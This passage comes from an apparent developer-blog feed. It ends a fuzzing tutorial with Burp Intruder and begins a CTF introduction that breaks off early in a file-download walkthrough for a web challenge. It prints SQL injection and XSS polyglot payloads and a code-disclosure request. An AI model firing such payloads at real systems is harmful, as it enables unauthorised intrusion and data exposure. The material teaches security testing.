&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;We do this by writing a simple python script using the HTTP request generated by Postman (or whatever other tool) and a **FOR LOOP**, on each iteration we change the values for the headers and parameters using different types of payloads.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;### Choosing the Payloads&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;The type of payloads we use during the application fuzzing is important. I recommend downloading &amp;lt;a href=&amp;quot;https:&#x2F;&#x2F;github.com&#x2F;danielmiessler&#x2F;SecLists&amp;quot; target=&amp;quot;_blank&amp;quot; rel=&amp;quot;nofollow&amp;quot;&amp;gt;SecLists&amp;lt;&#x2F;a&amp;gt;. SecList is a compilation of lists that include different usernames, passwords, SQL injection and XSS payloads, known path and files, etc.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;The Fuzzing section contains many lists with the most horrendous (and evil) payloads you can feed the application.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;![Fuzzing section](&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;fuzzing-seclist.png)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;### Automatic Fuzzing with Burp Suite&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;You can do all of this manually, but it&amp;#39;s sometimes necessary to Fuzz hundreds of endpoints. That&amp;#39;s simply too much work. If faced with that scenario, we can automate the Fuzzing process with a tool like &amp;lt;a href=&amp;quot;https:&#x2F;&#x2F;portswigger.net&#x2F;burp&amp;quot; rel=&amp;quot;nofollow&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Burp Suite&amp;lt;&#x2F;a&amp;gt;, specifically using the Intruder module.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;![Burp Suite Payload positions](&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;fuzzing-positions.png)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;In Burp Suite, we can choose which parts of the requests we want to &amp;quot;rotate&amp;quot; using different payloads. By default, Burp Suite suggests some of them like parameters and the session cookie, but we can add or delete existing ones.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;![Burp Suite payload options](&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;fuzzing-payload.png)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;Next, we need to choose which payload lists to use. We can use the ones we download from the **SecList repository**. In this example, I&amp;#39;m using SQLi and XSS Polyglots.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;![Polyglots payload list](&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;fuzzing-payload-list.png)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;Once everything is configured, we can start the intruder attack. Burp Suite will send garbage to our service endpoint, showing the request headers&#x2F;parameters and the obtained response.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;![Three payloads that crashed the server](&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;fuzzing-attack.png)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;A quick way to see if something went wrong is to look at the response status and length. An abnormally long length indicates some form of information disclosure from the server. In this example, there are three payloads that crashed the service, specifically on the **NS-WSDL** header.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;```javascript&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;NS-WSDL: SLEEP(1)%20%2f%2aâ%20or%20SLEEP(1)%20or%20ââ%20or%20SLEEP(1)%20or%20â%2a%2f&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;NS-WSDL: IF(SUBSTR(@@version,1,1)%3c5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))%2f%2a&amp;#39;XOR(IF(SUBSTR(@@version,1,1)%3c5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR&amp;#39;%7c%22XOR(IF(SUBSTR(@@version,1,1)%3c5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),âSLEEP(1)))OR%22%2a%2f&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;NS-WSDL: â%20onclick%3dalert(1)%2f%2f%3cbutton%20â%20onclick%3dalert(1)%2f%2f%3e%20%2a%2f%20alert(1)%2f%2f&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;fuzzing-backtrace.png&quot; alt=&quot;Backtrace error&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This backtrace can disclose details about the server environment path where the application and usernames exist. We can take a look at the service log to confirm the application crashed and learn that the error occurred within the function that handles the errors, which is ironic.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;fuzzing-service-log.png&quot; alt=&quot;Service log&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This seems to be an issue with encoding, specifically in how &lt;strong&gt;Ruby&lt;&#x2F;strong&gt; converts objects (Hashes) to JSON format. We proceed to create a fix for this issue and now the error no longer occurs.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; error&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;   content_type&lt;&#x2F;span&gt;&lt;span&gt; :&lt;&#x2F;span&gt;&lt;span&gt;json&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   message&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; env&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;sinatra.error&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;message&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   status&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 400&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;     error&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; message&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;UTF-8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; invalid&lt;&#x2F;span&gt;&lt;span&gt;: :&lt;&#x2F;span&gt;&lt;span&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; undef&lt;&#x2F;span&gt;&lt;span&gt;: :&lt;&#x2F;span&gt;&lt;span&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span&gt; replace&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;   }&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;to_json&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;xml&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;lt;br&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;### Final thoughts&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Fuzzing is commonly associated with penetration testing and exploit development, but it&amp;#39;s a testing technique that--if used correctly--can help development teams deliver more robust (less crashes) applications while helping the company identify potential vulnerabilities at early stages.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Happy hacking!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Introduction to Security Capture the Flag competitions</title>
        <published>2019-04-23T00:00:00+00:00</published>
        <updated>2019-04-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/security-ctf/"/>
        <id>https://developers.onelogin.com/blog/security-ctf/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/security-ctf/">&lt;style&gt;
.blog-border {
    border: 1px solid #D5D5D5;
    padding: 10px;
    border-radius: 3px;
}
.blog-border.code {
    background: #f3f3f4;
    margin-bottom: 15px;
}
&lt;&#x2F;style&gt;
&lt;p&gt;According to wikipedia, a CTF (short for Capture the Flag) is a type of computer security contest involving competitors trying to solve multiple challenges to get “flags” and earn points. Flags are usually a set of random characters called strings hidden at each stage and they serve as proof that somebody solved that particular level.&lt;&#x2F;p&gt;
&lt;p&gt;CTFs can be played alone or with a team and the main goal is to serve as an educational exercise to give participants experience in attacking or defending software and sometimes even hardware.  This is a great way for people to explore security, IT and to practice hacking in a safe and legal environment.&lt;&#x2F;p&gt;
&lt;p&gt;Basically there are two types of CTF competitions: Attack, Defense and Jeopardy.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;attack-defense-competition&quot;&gt;Attack&#x2F;defense competition&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;security-conference-1.jpg&quot; alt=&quot;Attack&#x2F;defense Capture the Flag competition in action&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the attack&#x2F;defense competition, each team is given a machine or a small network to defend. Each team needs to quickly patch&#x2F;fix any vulnerable service on their own machines while at the same time attacking other teams. Every competition has different rules, but, in general, teams earn points for every successful attack or defense. Two of the more prominent attack&#x2F;defense CTFs are held every year at &lt;a href=&quot;https:&#x2F;&#x2F;www.defcon.org&#x2F;&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;DEFCON&lt;&#x2F;a&gt;, the largest hacker conference, and the &lt;a href=&quot;https:&#x2F;&#x2F;csaw.engineering.nyu.edu&#x2F;&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;NYU-CSAW&lt;&#x2F;a&gt; (Cyber Security Awareness Week), the largest student cyber-security contest.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jeopardy-competition&quot;&gt;Jeopardy competition&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;security-conference-2.jpg&quot; alt=&quot;Jeopardy Capture the Flag competition categories&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Jeopardy competitions are more friendly for beginners. instead of having teams attacking each other, they are trying to solve series of security related puzzles under different categories. This doesn’t necessarily mean challenges here will be easier, but you will have the flexibility to choose which task to solve and the order in which you want to try them. Most popular categories under Jeopardy competition include:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Reverse Engineering&lt;&#x2F;li&gt;
&lt;li&gt;PWN&lt;&#x2F;li&gt;
&lt;li&gt;Crypto&lt;&#x2F;li&gt;
&lt;li&gt;Forensics&lt;&#x2F;li&gt;
&lt;li&gt;Web&lt;&#x2F;li&gt;
&lt;li&gt;Misc&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This article is going to focus on describing each one of those categories and look at an example of a web security challenge.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;reverse-engineering&quot;&gt;Reverse Engineering&lt;&#x2F;h3&gt;
&lt;p&gt;Usually these types of challenges are presented with a binary file which is a program you can download and execute locally. These programs implement an algorithm that checks a user input key. To understand the program, you will need to perform low level analysis on the binary (because you don’t have access to the source code) using tools like disassemblers and decompilers. Once you understand the implemented algorithm, you can deduct the correct input key (which is usually the key) and solve the challenge. This is a very popular CTF category and because of that there are complete CTFs dedicated just to this topic.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pwn&quot;&gt;PWN&lt;&#x2F;h3&gt;
&lt;p&gt;This category is very similar to the previous one. Besides getting only a binary file to analyze, you will also get a server running that binary. The goal is simple: do reverse engineering on that file, understand how it works and develop an exploit to get access to the flag on the server. Sounds easy but it’s not. This category is one of the most exciting ones but also one of the hardest to master. If you decide to get into this category you will need to learn about low level vulnerabilities like buffer&#x2F;heap overflows, format strings vulnerabilities and memory corruption.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;crypto&quot;&gt;Crypto&lt;&#x2F;h3&gt;
&lt;p&gt;Cryptography CTFs focus on the math part of computer science. The main goal is to break a cipher. The complexity of this challenge could range from basic caesar&#x2F;substitution ciphers to more advanced stuff like attacking the RSA encryption algorithm. If you want to be good at this category you need to be up to date with the research and papers from this field. You should also be familiar with openssl and encryption protocols.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;forensics&quot;&gt;Forensics&lt;&#x2F;h3&gt;
&lt;p&gt;Forensics challenges are fun because at some point you need to think like a detective. Usually this challenge requires you to recover information from corrupted files, analyzing file headers, file systems, servers and logs. metimes taking a look at network traffic from pcap files is very common. Knowledge of a scripting language for manipulating binary data (ie: Python) is expected. Also recognizing file formats (magic numbers), protocols, and encryption algorithms are useful abilities if you are interested in this CTF category.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;web&quot;&gt;Web&lt;&#x2F;h3&gt;
&lt;p&gt;This is one of the most popular categories in CTFs and hacking in general. Challenges here require knowledge of common web technologies such as HTML, Javascript, some programming languages like PHP or even knowing how HTTP works in general. In most cases, you will need to exploit a web application using some basic vulnerabilities. XSS (Cross Site Scripting) and SQL injection are the most common, but things can get more complicated if the challenges include advance hacking techniques such as OOB SQLi (Out of band out of band sql injection), command injections (RCE), and SSRF.  Basically everything that involves a web server is going to appear under this category.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;misc&quot;&gt;Misc&lt;&#x2F;h3&gt;
&lt;p&gt;Short for miscellaneous. Basically everything else that is not already listed, the misc category might include coding and algorithms exercises, OCR (Optical character recognition), linux&#x2F;windows commands and basic knowledge of Internet culture, etc. In general, this category is intended for you to learn more about the hacking culture and get some extra points.&lt;&#x2F;p&gt;
&lt;p&gt;All right, after the friendly introduction on CTFs now is the time to show some action, I’m going to describe step-by-step a web challenge I solved in January on the FireShell CTF 2019.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;web-ctf-bad-injection&quot;&gt;Web CTF Bad Injection&lt;&#x2F;h3&gt;
&lt;p&gt;The challenge starts by giving us an IP address running a web server on the Internet:
http:&#x2F;&#x2F;68.183.31.62:94&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;ctf-bad-injections.jpg&quot; alt=&quot;Challenge: Bad injections&quot; &#x2F;&gt;
There is nothing interesting in the website besides a section called List, this section displays an image with an interesting URL.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;ctf-list.jpg&quot; alt=&quot;Bad Injection challenge image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#22863A, #85E89D);&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; class&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;ui center aligned container&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#22863A, #85E89D);&quot;&gt;img&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; alt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Screenshot&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; src&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;download?file=files&#x2F;1.jpg&amp;amp;hash=7e2becd243552b441738ebc6f2d84297&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; height&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;500&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#22863A, #85E89D);&quot;&gt;img&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; alt&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;Test screenshot&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; src&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;download?file=files&#x2F;test.txt&amp;amp;hash=293d05cb2ced82858519bdec71a0354b&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; height&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;500&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#22863A, #85E89D);&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The resources are loaded using some kind of downloading script. The download script receives two parameters: file and hash. The hash corresponds to the hashed version of the value of the file parameter.&lt;&#x2F;p&gt;
&lt;p&gt;This looks like a code disclosure vulnerability, so we start by trying to download the index.php file:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;http&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;68.183.31.62:94&#x2F;download?file=index.php&amp;amp;hash=828e0013b8f3bc1b&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And the result is:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#22863A, #85E89D);&quot;&gt;br&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
